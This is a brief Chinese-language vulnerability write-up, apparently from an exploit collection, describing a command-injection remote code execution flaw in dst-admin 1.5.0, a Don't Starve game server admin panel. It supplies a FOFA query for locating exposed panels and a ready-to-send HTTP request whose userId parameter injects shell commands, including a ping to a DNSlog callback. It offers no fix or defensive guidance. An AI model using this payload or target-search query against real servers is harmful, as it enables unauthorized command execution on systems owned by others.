D15-1Dst-admin-饥荒管理后台-RCE

漏洞描述：

dst-admin饥荒管理后台kickPlayer、cavesConsole、sendBroadcast等接口处配置不当，导致破解口令后的攻击者可以进行命令注入，获取服务器权限。

影响版本：

dst-admin 1.5.0版本

网站图片：

网络测绘：

fofa语法：

FOFA：title=="饥荒管理后台"

漏洞复现：

payload：

```
GET /home/kickPlayer?userId=%5C%22)%5Cn%22%26ping+Dnglog%26screen%20-S%20%22DST_CAVES%22%20-p%200%20-X%20stuff%20%22TheNet%3AKick(%5C%22 HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cookie: JSESSIONID=93ab200b-a15d-4ac6-8138-abfa1262b5f5;rememberMe=deleteMe;
```

效果图: